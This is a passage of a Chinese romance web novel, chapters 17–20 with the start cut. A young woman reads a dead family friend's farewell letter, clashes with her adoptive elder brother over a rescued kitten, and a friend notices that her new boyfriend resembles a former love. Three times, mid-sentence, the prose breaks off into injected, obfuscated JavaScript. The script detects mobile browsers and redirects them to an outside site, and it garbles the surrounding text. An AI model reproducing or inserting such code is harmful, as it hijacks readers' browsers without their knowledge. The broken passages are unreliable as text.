虽然彼时林鸣修已超过十八岁,无法在法律层面完成正式收养。 但少了几页签字盖章的法律文件,他在世人眼中,亦与亲子无异,遗嘱中有他的大名,四海的股份也他一份,改姓的仪式惊动整座港岛,这样的情况下他再打她的主意,会被舆论淹死。 况且已经走到这一步,他又如何还需要林家女婿的身份? 听到大伯母安慰的话时,她已不再是十二岁的无知少女,彼时只觉得对方实在多虑。 林鸣修即便是正式改姓之前,也丝毫没有逾矩的行为,他甚至有些刻意疏远自己。林鹤堂和尹晴多番邀请,他还是坚持和母亲住在几十公里之外的出租屋,与她保持着比清白更加遥远的距离。 幸好他的行为与大伯母的忠告南辕北辙,否则林柚安得从十二岁担惊受怕到十八岁。 认子仪式之后,他们一个正式入住夏山郡,一个离家,去往千里之外的美国留学。就好像鸠占鹊巢的噩梦,终于照进现实,而她这只鹊,从此不管经历怎样的风雨,也没有再回来,从美国到维市,再到伦敦,从声名鹊起到名声狼藉,辗转磋磨七年之久。 “走了,不跟我们说再见?”尹晴见柚安恍神,伸手刮了刮她鼻子。 柚安反应过来,说:“一路平安,替我为孟姨供一束百合,告诉她我一切都好。” “嗯,跟大哥说再见。”尹晴点她。 柚安掀眼一瞧,只见林鸣修面色更沉,好似看她不见。 大约是回敬她数年来缺席的好脸色吧。 再见终究是没说成,两人上了车,车很快开出视线。 偌大的夏山郡一下子冷清下来,林柚安也不想在家待着,处理完酒吧的事情之后,便一个人开车到鲸落湾等日落。 恰在无聊难耐时,林栖的电话打了过来。 柚安靠在“鲸”尾巴上,吸一口丝袜奶茶,高兴地接起来。 “你打得太是时候了,知道我无聊?我跟你说,我们家人全跑光了,视察的视察,上坟的上坟,这两天我都不想回去睡了。” 那头笑了起来,“恋爱中的人还会觉得无聊?男朋友呢?” “黎燃?” “嗯,黎燃。” 柚安吸了一口气,支支吾吾道:“我不是跟你这么说的吧,我只是说……” “认识了一个不错的男孩子。” “嗯,这算恋爱了吗?” “你问我?”那头笑不可遏,“那天说他说到三点,你不认我可跟你急了,溜着我玩呢?” 大概,是恋爱了吧。 这些天的确跟他黏在一起,和乐队其他人一起玩的时候,也是勾肩搭背,紧密无间,她被玩笑地叫作“大嫂”,他们被公认成一对,她毫不介意,好像即便不是现在,也是将来必然会发生的事。 “到哪一步,可以宣告恋爱了呢?”她问有经验的朋友,“亲亲吗?还是……” “搞乜鬼啊?”林栖用蹩脚的粤语逗她,“自己的事情自己都不清楚的咩?” 柚安困惑了数秒,哈哈大笑起来,“管他呢咩!” 林栖认真想了想,说:“我觉得不需要亲亲或是更进一步,只要一个moment,互相确定心意,就算盖章认定。哪怕一个眼神,可能,连眼神都不需要……” “搞乜鬼啊,说得这么玄!” “你有没有这个moment咧?” 林栖故意学着港剧里的语调说moment,两人笑作一团。 “不知道啊,”柚安笑完,又吸了一口奶茶,迷茫地望着金光满铺的海面。 半晌,幽幽地说:“但是他说,他喜欢我,那天,在飞鹅山上。” “嗯哼。” “我也喜欢他,”柚安唇角漾起涟漪,“和他在一起很开心啊,他很帅,会骑重机,业余打拳,你可以想象那身材……他好像天生是舞台上的王者,嗓音超绝的,吉他比……” 她忽然语噎,咳了两口说:“比你弹得还好。” “你倒是不怕得罪我。”林栖顿了顿说。 “但是当他打算要吻我的时候……” “嗯?” “……算了,”柚安停顿数秒,“没关系,慢慢来吧!” “什么啊,说到重要关头的时候刹车!” “那么八卦,亲自过来看啊,我带他给你过目。” “现在没空,但是五月初港城不是有马拉松吗?我应该会过来跑。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788517|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“哇塞,这么能跑啊你,”柚安兴奋起来,“那说好了,到时候见,你跟黎燃说不定能合作首歌。” “我跟你也能合作首歌。” “……得了吧。” 电话挂断,天色已经全暗下来,天黑后的海面是深蓝色的,看似平静的海平面下,无数暗潮汹涌。 柚安眼色迷蒙,面对着大海,喃喃地说:“有了他,我算不算,旧债已清了?” 入夜,海风一阵凉过一阵,她拍了拍身上的沙子站起来,手机接到黎燃的微信,说明天有个复古风的party,问她要不要来。 柚安来了兴致,说去。 回完微信,便驱车回夏山郡。 她记得母亲有许多古着,遂决定趁她不在,回去打劫。 尹晴的衣帽间不大,但论起古着,件件都是精品,柚安试了两个小时,挑了一件墨绿色丝绒吊带裙。 又记得母亲有对镀金圆环耳坠,装首饰的抽屉里没见着,便起身去卧室的梳妆台找。 片刻功夫,梳妆台真成了打劫现场,各种饰品盒被翻了个底朝天,就是没找到那对耳坠。 最后,她在抽屉最深处找到一个异常精致的紫檀木雕花首饰盒,料想就是了。 打开来一看,里面没有一件首饰,满满一叠卡片,上面是手写的食谱,那字迹工整娟秀,是赏心悦目的簪花小楷。 霸王花龙骨汤、花旗参乌鸡汤,粉葛赤小豆鲮鱼汤,花胶螺头乌鸡汤……每一张都是老火靓汤,足有二十八张。 柚安不由得想起孟姨,她在世时,煲得一手好汤,将柚安的胃收得服服帖帖。 难怪这些年,母亲炖的汤水越来越有熟悉的味道,原来是照着孟姨的食谱学的。 二十八张食谱依次翻开,最后是一封信件,信封背面写着“尹晴启”,一样漂亮的簪花小楷,只是笔锋较为虚浮,柚安内心一颤,料想是她病重时所写,不由得一阵伤怀。 她记得孟姨是个爽利乐观的人,病痛使她容颜蜡黄苍老,却带不走她眼底的神采,她总笑意盈盈,以至于柚安每次见到她,总是有种她正在康复,明天就会彻底痊愈的错觉。 当时尹晴的情况也不乐观,她的视力已经近乎为零,终日郁郁寡欢,连房门也不愿出。 只有孟姨来家里的时候,能够听到从母亲房里传来的笑声。 可是到了最后,病痛还是更胜一筹,那样一个春天般的人,终究被折磨地形销骨立,生机溃散。 柚安最后一次见孟姨时,恰逢她从手术室被推出来。 原本已找到了适合的肾源,但是她的情况突然急剧恶化,短时间内无法具备手术条件。 那天,病房的白炽灯异常冰冷,刺进病人浑浊的瞳孔,却激不起一丝涟漪。 柚安只看一眼,就忍不住大哭。 她不愿意接受,总是给她端来热汤,笑着叫她喝慢些的孟姨,变成了这样。 而林鸣修,与医生沟通过后,就始终默默站在床尾。 她不敢去看他的眼睛。因为那时,忽然有种想要去抱他的荒谬冲动。 思绪回笼,脸滚烫得像是发烧,柚安紧了紧肩上的披肩,缓缓坐下,背靠化妆椅,手里拿着那封信笺,实在难耐。 犹豫再三,她还是将信封打开,轻轻取出信纸,小心翼翼打开来。 整个过程,如做贼般冷汗淋淋。 18. 第 18 章 阿晴: 我还有一点时间,就打算给你写一封信。 炖汤的食谱是留给你的,不算权威,但柚安似乎很喜欢喝,等你眼睛好了,不妨试试。 最近鸣修很开心,他告诉我,当年陷害祈年的那两个合伙人,都已经锒铛入狱了。没有鹤堂一步一步在后提点,他是无论如何也没有办法扳倒他们的。 他跟着鹤堂学了很多,还告诉我,将来一定能把祈年留下的“绿色能源社区”计划投入实践。 那天他说了很多,可惜我已经没有办法集中精力太长时间,所以只零星地记得这些。 你常说病痛是最不讲道理的,一味折磨人,不管这人是好人还是坏人。 我也很不理解,我常自问,没做过任何一件伤天害理的事,祈年的“罪”,如今也证明是冤假错案,为什么还要一味地被惩罚? 问到现在,已经没有心力再问了。 我不想耗了。 请接受我的一对眼角膜,已问过医生,它们符合捐献标准。 如果说还有什么,能够感谢你们全家救我们母子于危难的这份恩,便只有它们了。 鸣修已经二十二岁了,他从不让我担心。 即便我撒手人寰,他也能过得很好。 他就像野草,即便世界末日,也能活下来。 我很欣慰,更加心疼。 眼看他把自己绷成一件武器,生命里只剩下报仇,和他父亲未尽的事业,我不知该说什么好。 他有自己热爱的事情吗?有喜欢的人吗?我一无所知。 恐怕,他自己也不知道。 每当看到柚安为她热爱的事情不遗余力,那副与全世界对抗的样子,我都好喜欢好喜欢,那孩子在发光不是吗?如果她想念音乐,何不让她念? 如果说还有什么心愿未了。 真希望鸣修也能活得恣意一把,去享受他所热爱的人生啊。 孟悦 二零一八年十二月十二日 信笺看完,柚安有一刹那恍惚,继而心跳如惊雷般落下。 落款时间正是孟姨的忌日,原来她是写完这封信后,自己走的…… 难怪当念,已经替自己安排好留学院校的父亲,忽然改了主意,让她去念音乐。 她叹了口气,赶紧收好信纸,以免眼泪砸在纸张上,留下印迹。 剩下的那个夜晚,她一直抱膝坐在那里,久远的记忆像秋风拂过森林。 最后,她万分小心地将紫檀木盒放回抽屉最深处,那一团昏黄的回忆被物归原主,她偷偷浅尝的这一口,苦味浅淡却绵长到似乎要伴其一生。 第二天,柚安推了黎燃的派对,独自在家做家务。 这场风把心鼓噪地太满了,不得不用琐事将体力耗尽,才能免于沉溺其中。 这天晚上,尹晴从深圳回来了。 柚安跑去前厅迎接,心中无由紧张,直到发现林鸣修根本没有回来。 她问尹晴:“那一位呢?” 不出意外吃了记暴栗。 尹晴说:“你大哥打算在深圳小住一段时间,我今天陪他看了几处独栋,都不错。” “小住还买房?”柚安撇嘴。 “我也是今天才知道的,他们父子两的事从不主动告诉我。四海打算在深圳开分公司,鸣修毛遂自荐去当开荒牛,打算在那里建‘绿色能源社区’的试点,所以决定买套房子,住也好,投资也好。” “哟,不在爸爸面前摇尾巴了?真难得,”柚安捂着额头,躲过又一记暴栗,抬头瞥着尹晴,弱弱地问,“他以后就住那了?” “他的家在这里。”尹晴郑重告诉柚安,“不过,可能这几年要base深圳了。无妨,开车就能往返,回来喝汤很方便的。” 那个项目,在孟姨的信中也有提到,是他父亲未尽的事业。 柚安沉默了两秒,扬起没心没肺的笑脸,“几年是多久?三五十年?” “你倒是想!”尹晴拍拍她的脑袋,进屋换衣服,“谁说的准呢?三五年总是有的吧。” “哇,太好了,可以清净这么久。”这话像是自言自语,因为声音不太,远不能传到尹晴的衣帽间里。 当天夜里,柚安在睡梦中,又回到了孟姨的病床前。 余光中的那抹身影犹在。 和那天一样,他穿一件黑色毛衣,身影寂寥得像孤峰孑立的雪松,仿佛肩头落满白雪。 梦中,她的目光一寸一寸逼近他的眼睛,镜头无比缓慢,那种荒谬的冲动再次降临,随着缓慢上升的视角,而愈发明确。 就在即将要触达之时,柚安猛地惊醒。 她攥紧被子,冷汗浸湿了后背。 之后的好些天,林鸣修都没有出现,日子如常过去,她也没再做那个梦。 “清明时节雨纷纷,路上行人欲断魂。”可能,这样的梦,只是这个特殊时节的短暂限定吧。 四月下旬,雷暴开始活跃,时有阵雨,空气湿暖,海风里总是裹挟着咸湿的水汽。 这天酒吧事少,下午六点,柚安找了个空,去拳馆看黎燃练拳。 恰逢拳馆搞公益活动,免费教社区儿童防身技能,尚未进门,已觉人声鼎沸。 此刻,教学已经结束,到了自由实践环节。 小朋友们不到大人腰高,被护具包裹得严严实实,所谓的自由实践,渐渐演变成疯闹追打。 柚安独自找了个人少的角落坐下,阔腿丹宁牛仔裤,乳白色亚麻背心的下摆随意系成蝴蝶结,露出纤细的腰线,外搭一件酒红色螺纹背心,墨镜取下来架在头顶。 黎燃一眼就看到她,伸臂朝她挥手,嘴角一扬,露出两颗鲨鱼鳍般虎牙。 在一众穿着统一拳馆背心短裤,满身护具的拳手之中,他依旧出众,头戴红色头盔,拳击手套也是红色的,两臂肌肉饱满有力。 三个小孩跑到他身后躲藏,边躲边抬头控诉:“他们犯规,叔叔帮忙!” 对方也是三个小孩子,挥着拳头追过来。 黎燃挡住对方的小拳头,用身体护住三个孩子,然后将身后的孩子揪出来,握住他们的手臂教他们反击的姿势。 “像这样,揍他!” “哈哈哈!” 两边的孩子玩得不亦乐乎。 柚安看着这一幕,笑出声来,她一点也不觉得这个一米八七的大高个,在一群小萝卜头中间有多违和,他本身就是个孩子王,很快身上就挂了一个。 对面的孩子眼看形势由强转弱,也连拉带拽请来了帮手。 另一个体形与黎燃相当的拳手被三双小手拖上来,加入了战局。 两个外援把鸡崽们护得太好了,几乎所有攻击都砸在他们身上。这种小拳头对于满身护具的肌肉男来说,跟雨点无异,但是他们仍然相当投入地格挡躲避,还分出余力来,手把手教小队员们进攻。 “勾拳,来,这样!” “来了来了,挡!” “左边,右边右边——” “挡得好!再来!” 顷刻间,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797130|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有孩子都涌了过来。 总共十多名,各自加入一队,都还没有外援的腿长,笑闹声充斥着整个拳馆。 “这些小孩真聪明啊,知道拉就拉个最强的。”柚安听到身旁观战的工作人员这样说,目光便由黎燃转向另一个拳手。 他是背对着她的,只能看到挥拳时,背阔肌嶙峋的纹路,身形比黎燃稍瘦一些,身法脚步游刃有余。 正入神时,交战双方跑闹着换了个边,拳手转身露出面容,竟然是林鸣修。 柚安的目光来不及收回,就这样撞进他孩子般笑着的眼睛里,那笑容令她想到汽水罐刚拉开时,迸溅的泡沫。 第一次见到他这样的一面,柚安不由得愣神。 林鸣修一抬头,与她目光交汇,笑容凝在嘴角,微微颔了颔首,脊背几分紧绷。下一秒,脚下不动声色地一旋,护着鸡崽转了个方向。 柚安在背后瞪他一眼,之后再也没有看他。 活动结束,黎燃去冲凉换衫,柚安则先行回车里等他。 她的红色超跑停在路边,见天气不错,便将敞篷降了下来。 不一会儿,那一帮小朋友也三三两两地出来了。走着走着,其中几个停在路边,围着一处草丛,不知道在干什么。 柚安勾下墨镜,撑着车窗边沿,好奇看去。 林鸣修和黎燃走在那帮小朋友的最后面,黎燃手里还拎着一个,两人边走边说笑。 暮日熔金,身后是漫天翻滚的云霞,颀长挺拔的两个人走在一起,即便随意,也有种逼人的气势。 草丛边的孩子看到他们走来,仰着脸将其拉住。 林鸣修走过去,跟孩子们一起蹲下,一个个头较小的女孩吭哧吭哧爬到他背上,他没回头,只轻轻颠了颠让其趴稳。 黎燃只稍稍看了一眼,跟林鸣修打声招呼,便转头奔向柚安的车。 临走前两人还碰了个拳,看得柚安一阵牙酸。 快要走到街边时,黎燃一个助跑,直接跳进后座,再从后座跨进副驾。 柚安下巴指了指远处,“他们在干嘛呢?” 黎燃说:“他们发现了一只受伤的流浪猫,不知道该怎么办,鸣修哥说送去宠物医院,我约了你吃饭的嘛,就先过来了。” “原来是猫啊,我还以为是发现恐龙蛋了呢,”柚安启动引擎,正要踩油门,忽然想到什么,转头看着黎燃,“鸣修哥?你们的关系什么时候突飞猛进的?” 黎燃揉了揉柚安的头发,“我那天在拳馆练拳,恰好碰到他,就打了一场,我被揍得服服的……” 柚安噗嗤一笑,“没出息。” 黎燃一点都不为打输了拳而生气,反而一脸神采奕奕,“他教了我很多技巧,我们还约着一起打拳,这家拳馆就是他介绍的。” “你说那天,是什么时候?” “上礼拜,怎么了?” “……没怎么。” 原来他上礼拜就回了,一直没有打上照面。 “叫他哥不过分吧,你生气啦?”黎燃知道柚安不喜欢林鸣修,他们之间不像仇人般眼红,也不是兄妹间的互看不顺眼,那种感觉很难说得清楚,“你不喜欢,我就不跟他玩了。” “小朋友吗?还不跟他玩儿了。” 柚安觑黎燃一眼,一脚踩上油门。 车在前方掉了个头,再次路经此处时,林鸣修已经站起身来,他怀里抱着个毛茸茸的小东西,身上吊饰似的挂了五六个。 柚安的目光横过去,一直到完全看不见了才收回来。 19. 第 19 章 转眼四月就要过完,柚安没再见到过林鸣修。 偶尔在家吃饭时,林鹤堂会说起他来。原来分公司要处理的事物很多,他忙得不可开交。 尹晴多有埋怨,舍不得他离开。 林鹤堂亦想要将林鸣修留在总裁办,但是料想,鸣修应该很想在他生父当初耕耘的地方,重建“绿色能源社区”,因此便没有阻拦。 听父亲说,三五年后,他带着分公司的功勋归巢,彼时眼界跟手段,必定更上一层楼。 柚安觉得,有根无形的鞭子抽在自己身上。 虽半分未提及自己,但那欣赏与谋划的反面,仿佛处处是对自己的不做指望。 如此,他走个三五年也好,眼不见心不烦。 四月的最后一天,林柚安踏着夜色回家,一进家门就听尹晴说林鸣修回了,正在顶楼花园喂猫。 一定是他们救助的那条流浪猫,柚安听黎燃说过,那是只小乳猫,被发现时,身上缠满了胶带,奄奄一息。 没想到小家伙命大,居然被救活了。 柚安怀着惊喜的心情,一路小跑上顶层,想看看那只小猫长什么样。 月色下,林鸣修正坐在涌池边沿,身边一只乳白色小猫,正在舔食盘子里的牛奶。他手撑在小猫身后的蓝田玉边石上,微侧着脸,闲适地看着猫咪。 涌池水面铺满大片的紫色睡莲与碧绿莲叶,脚下的苔藓犹如一张会呼吸的地毯。虹吸系统不时带起一阵水雾,将月光稀释成一层缥缈的滤镜,衬得穿烟灰色休闲服的男人清隽斐然。 柚安迟疑半晌,终是抵不过小猫的可爱,唤了林鸣修一声,迈步过去。 男人闻声抬头,撑在小猫身后的手指不自觉屈了屈。 他的心神连日以来备受折磨,罪魁祸首正踏着月色走来,而她脚步轻盈愉悦,毫不知其有罪,这令他隐隐愤怒。 柚安今天穿了的是白色吊带裙,外搭一件浅黄针织衫,质地绵糯,衬得她肌肤皎白如月。 腕间一条银质手链,吊坠随走动而玲玲作响。 林鸣修想起若干年前,柚安的一次综艺演出现场。 那是一首中国风的歌,她自己包揽词曲跟演唱。 地脉沉吟般的前奏响起,她怀阮上台,丹蔻细指在弦间飞舞。满身环佩,彩段随墨发飘扬,赤脚,一个小巧的铜铃系在脚腕,叮铃作响。 千里之外的港城,暗黑书房中,林鸣修是最虔诚的信徒。他亲手剪辑只有她的每一帧画面,怀着渴求又自厌的扭曲心理。 “你就是那个小可怜呀。”柚安的声音已到近前。 小东西奶呼呼的,应该是毛茸茸的品种,但此时只有短短一层,应该是救助它时,剃了全身的毛,又新长出来的。 柚安还没来得及伸手,小家伙触电般一跃,扑进林鸣修怀里。 后者托着它的臀部,任针织的衣襟被抓出一道道浅痕,表情依旧是淡淡的。 “它对生人很戒备,”林鸣修说,“可能是被人欺负得狠了。” “乖乖。”柚安偏头看着它,掩不住怜惜与喜爱,“它是什么品种?” “是只布偶猫,据说还不足月。” 听到还不足月,柚安默默地将刚摸出来的烟盒收了回去。 林鸣修几不可察地一笑,这时候电话响了。 来电的是秘书,林鸣修并不避讳,当即接起来。 从他的话语间,不难听出,是找人领养猫的事。 柚安刹那间愕然又失望。 只见他一手温柔着回应着怀里小猫的拱蹭,一手拿着电话,说要将猫送人,表情是那样冷峻而淡漠。 和孩子们玩时那张纯粹而富有爱心的脸,顷刻间化作画皮。 等到通话结束,柚安忍不住嗔怪:“它还那么小,又防备人,我以为你会亲自养它,至少等它大点……” 林鸣修目光波澜不兴,“我又不喜欢小动物。” “……那可真是难为你救它了。” 柚安忍不住动气,自忖不如要过来养,但要了就要负责任的,她连自己都养得乱七八糟,遑论如此脆弱的小奶猫? 林鸣修像是知道她的心思,立马出口扼杀:“你也不要想,爸的肺你知道,家里最好不要养会掉毛的动物。” 怜爱的神色僵在眉间,柚安站直身子,心头不忿。 然而,可能是因为看过孟姨信的原因,那句冷血怎么也骂不出口。 她所看到的林鸣修,从别人口中听闻的他,还有孟姨信中他,既有交集又截然不同。 然而一个念头呼之欲出。 “喂,顾鸣修,”她低头睨着他,“你是不喜欢,还是不敢养?” 林鸣修眼底掠过一道阴翳。 微咸的海风将池水揉皱,也织就他眼底朦胧的波纹。 柚安轻笑着道:“小猫最多只能陪你二三十年,总要先一步走的,对吧?” 当一件美好的东西靠近时,大部分人会想到拥有,而少数人会率先想到失去。 她如今竟也有些理解这种矛盾的心理了。 当然,也可能只是她一厢情愿的臆想,无所谓。 林鸣修抬头,与她目光交汇,冷淡的眸底,有什么在烧着。 柚安心想,他一定在意外,这么多年终于听她对自己说了一句人话。 “咳咳,那这样吧,让黎燃领回去养,他家有只哈士奇,养猫应该也不在话下。”她伸出指头轻轻点了点小猫的脑袋,“好不好呀?”后者立即整个钻进林鸣修衣服里,只留一直小爪揪着他衣襟。 柚安目光追近,只见一只毛茸茸的脑袋蜷在一片结实的胸膛里。 还挺会找地方撒娇的…… 男人身体后仰,与她拉开距离,眼底像极速衰亡的火山,迅速冰封。 半晌,他唇角微勾,冷不丁转移话题问她:“和黎燃在一起幸福吗?” “那还用说?” 柚安一秒都没有思考,满面人间四月的春风。 然而对方并没有撤回那冷得刺骨的注视,那注视好像在问:“真的吗?” 他看她看得有点久了,第一次这样明目张胆。 大抵是因为,马上就要去深圳了。不仅仅是距离上的禁锢,他决心不再管她,饿出胃病也好,暴饮暴食也好,跟谁谈恋爱,谈得一身伤都好,他这一抽离,便不会再回头。 所以,最后一次,他眸光冷冽,带有审视,咬定她一点一点敛起笑意的眼睛,一秒,两秒……直到她心虚地将视线别开。 “到底行不行?给个话。”柚安声音干涩,僵硬地将话题扯回。 “不行。”林鸣修冷淡地说,目光仍未放过她。 “……不行就算了。” 柚安撇撇嘴,想到他人就快要走了,也生不起来多大的气。 再一想,不成全她的私心,也是应该的。 他不可能一辈子对她有求必应。 “我走啦。”她最后倾身,揉了一把小猫探出来的脑袋。 猫跟主人一样小气,飞快地缩了回去,“喵呜”几声,好像受了多大的委屈似的。 那一团独属于柚安的幽香气息刹那间逼近,令林鸣修差一点打碎这些天一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802589|174562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点一点亲手建立起来的铁律,任他那恶劣的想法,将一切燃烧殆尽。 随着她转身走远,一个不受控的声音在林鸣修脑海里响起: 要不要,回头看一下我呢? 哪怕一次,也足够变天。 . 林栖落地港城的那一天,柚安刚好要跟一个酒水商谈事情,于是林鸣修充当了司机。 餐厅定在阳明山顶,户外的餐桌铺上格子桌布,桌面摆放一簇浅紫与嫩白相间的风铃花,复古的油灯亮着琥珀色的光,这个季节的山风微凉湿润,纵眼望去,维多利亚港璀璨的灯火尽收眼底。 柚安谈完事情,直奔餐厅,二人也才刚到不久。 料想会喝酒,所以没有开车。 一路大步走来,她笑得比坡道两旁炸开的凤凰木还要粲然。 “比上次见你时,漂亮多了!”林栖拉着她的手,开心地说。 柚安不避讳夸赞,撩了撩头发,“那还用说。” 林鸣修没有要落座的意思,林栖见他要走,不免诧异,“大哥不一起吃吗?” 林鸣修礼貌回答:“有点事情需要赶回去处理,一会儿再回来接你们。” 再交代几句,便走了。 林栖知道他在港城是何身份,这样一位人物充当她们随叫随到的司机,她始终有点不能理解。 柚安嗔道:“我都不叫他大哥,你叫什么大哥啊?你叫他林先生啊,林鸣修都行。” 彼时林鸣修还未走出视线,林栖不由得皱眉,“嘘。” 柚安无奈放低声音,“总之,他不是我亲大哥,你也别觉得我俩关系怎么好,其间冤孽多了去了。你叫他大哥,我会掉一地鸡皮疙瘩。” “知道了,你们豪门恩怨我不懂,”林栖笑道,“黎燃呢?不是说带给我过目吗?” “他乐队有个演出,得晚一点了,我们先吃,明天他请客补你一顿。” 时间赶得紧,没有办法。林栖也不拘泥这点小结,开心地应了声“好”。 侍者端上餐厅最有名气的战斧牛排,配酒是西班牙雪莉酒,Manzanilla,质地轻盈,带有海风与杏仁的味道,以及一种微妙的矿物感,清冷咸香。 两人吃着牛排,柚安问:“打算待几天?” “后天跑完马拉松就走了,最近工作室有点忙。”林栖轻托郁金香杯,抿了一小口,露出欣赏的表情,“对了,陆野也中签了,但是临时有事要处理,来不了了。” 言下之意,他不是故意避而不见的。 “对啊,他也喜欢跑步,不过你俩一起出现在现场,是要玩儿死主办方吗?”柚安一口喝掉半杯酒,挥了挥手说,“无所谓啦,难道还能作朋友吗?” 两人碰了个杯,又谈笑起来,从当年一起参加综艺的选手跟导师,聊到时下热门明星的八卦,说到兴奋处,笑个没完。 夜色渐浓,山雾随着晚风漫上来,空气是湿润的。 就在牛排吃得差不多时,远处走来一道身穿机车服的高大男子。 “柚安!”那男子朝这边挥手,眼睛一笑,如星辰般璀璨。 “介绍一下,他就是黎燃。”柚安笑眯眯地看向林栖。 然而后者却吃惊地说不出话来。 “你好,你的歌在我们这边也很红。”黎燃露出标志性的笑容,举杯对林栖说。 林栖眨了眨眼,目光凝滞在黎燃脸上,像是在确认什么。 半晌,又转向柚安,饱含疑惑与不忍。 骤然间地安静,让一切欢声笑语哑然退场,又于无声处,掀起一道暗潮。 20. 第 20 章 “喂呀,你傻了?怎么不说话?”柚安蹙着眉,手在林栖眼前晃了晃。 然而并没有结束这场无声的审判。 她想起几天之前,林鸣修在天台看她的神情。 那底色大抵是相同的,不同的是,林鸣修看她的眼神少了几分惊异,多了几分了然,仿佛他已经隔岸观火许久了。 为什么身边的人都如此敏锐,搞得自己好像是课堂上偷吃零食的学生,自以为藏得天衣无缝,殊不知人家站在讲台上,什么偷鸡摸狗都看得清清楚楚。 林鸣修尚可以糊弄过去,但被林栖这样瞧着,有种难以忍受的羞愤感。 笑容寸寸收敛,她以目光对峙,回应对方惊诧过后的悲悯。 忽然黎燃手机铃响,打破了僵局。 “哦,是乐队那边,抱歉失陪一下。”黎燃拿着电话走远。 气氛早已由最初的热络,凝固成一滩焦油坑。 柚安垂眸,端起酒杯,一仰头喝完剩下半杯酒,“既然这样,也没什么好叙旧的了,你好扫兴。” “柚安,我有点担心你。” “好了,”柚安抢过林栖的话,“别说了。” 既不想说开,也无法承认。 两边都是。 怪她们太有默契,连言语也不需要,就知道对方想什么,也知道对方不想去想什么。 哪怕一方钝一点呢?这场面也不至于如此狼藉。 林栖终是先起身,“谢谢款待,我先回酒店了。” 柚安不做挽留,人就这样走了。 沿坡道下山,林鸣修的车正停在路边,他背靠车身,见林栖过来,绕到副驾为她开门。 仿佛早有预料,他人也根本没走。 林栖愣了一下,颔首致谢:“林大哥费心了。” 还保持这样的称谓,这令林鸣修有些意外。 等车开上公路,他忍不住说:“柚安从来直呼我姓名,你也可以跟着她这么叫。” 林栖微笑道:“我的尊重不会因为她跟您的关系而收回。” 这份天然的尊重,也不来源于林鸣修的身价和地位,而是来源于他这个人。 那一年,林柚安和林栖还是同一个综艺上竞争的新人,两人远谈不上朋友,浅淡疏远的关系,因为一个男人而多了一分微妙。 不巧柚安一身是血,狼狈地从酒店旋转门逃出来时,正好被林栖看到。 她身后追着几名人高马大的外国壮汉,林栖什么也没问,替她打开车门,一路狂奔。 最后,柚安总算被安全送到家,听她说完前因后果,林栖冷汗直流,这种状况已经远超出她所能处理的范围。 “那个皮耶会不会报警?需不需要我帮你打个电话回家?” “干什么都行,就是别通知我的家人。”柚安从浴室出来,不知道用了多大的力气,皮肤被搓到通红渗血。 丢下这句话,她倒头就睡。 纵使没打一通电话,这样的狗血大新闻,还是不日传遍大街小巷 第二天,柚安被警方传唤,林栖怕她跟皮耶对峙,会触发心里阴影,本着惨都惨和了,送佛送上西心态,便陪柚安同去。 两方在警局门口狭路相逢,皮耶带了庞大的法务团队,大有将两个女孩生吞活剥的架势。 就在此时,一辆劳斯莱斯杀到近前,车门打开,浩浩荡荡一队人马,皆是黑衣黑裤,西装革履。 后座车门豁然拉开,一丝不苟的黑色三件套,衬得男人身形挺括,气势逼人。 那是林栖唯一一次与林鸣修打照面。 她第一次直观地感受到柚安的家底,和她那惹天惹地背后的底气。 那一天,她见识到了柚安家大哥,是如何在这宗国际知名人士被袭案中,游刃有余地斡旋谈判,最后令得不可一世的白人老头放弃提告,点头哈腰送他出门的。 只不过老头的运气不太好,据说住院养伤期间被人打了,回国以后各种桃色新闻都被挖了出来,官司不断,短短半年时间,从蜚声国际到查无此人。 如此人物,林栖实在没有办法按柚安所说,直呼其名。 这一句“大哥”,也是感谢他处处替柚安兜底。 夜色四弥,车内气氛放松下来,因有了共同关心的人,而脱离了一开始的客套。 林鸣修望着前方暮色,开口道:“我猜你已经见过黎燃了。” 原来他早有预料。 林栖打从见到他守候在此,就知他洞若观火。柚安的事,搞不好他比自己还清楚,如此,便不打算隐瞒。 “他们太像了,不是吗?”她终于说出来。 林鸣修表情平淡,不置可否,“像不好吗?有人将刘德华视为择偶标准,有人将梁朝伟视为择偶标准,怎么就不能有人将陆野视为择偶标准?再者,如果她不是看脸,是真心喜欢这个人呢?” “那自然最好,可是……一个钻牛角钻了五年还不肯放下的人,会这么快投入新的恋情,情绪状态一百八十度大转变吗?”林栖忖了忖道,“其实如果两个人在一起,能够开心快乐一辈子,管他是出于什么理由开始的呢?怕就怕得到慰藉之后,变本加厉地空虚与自憎。以您对柚安的了解,她会吗?” 车驶过港岛璀璨的街头,林鸣修目光空寂,平声说:“不会。” 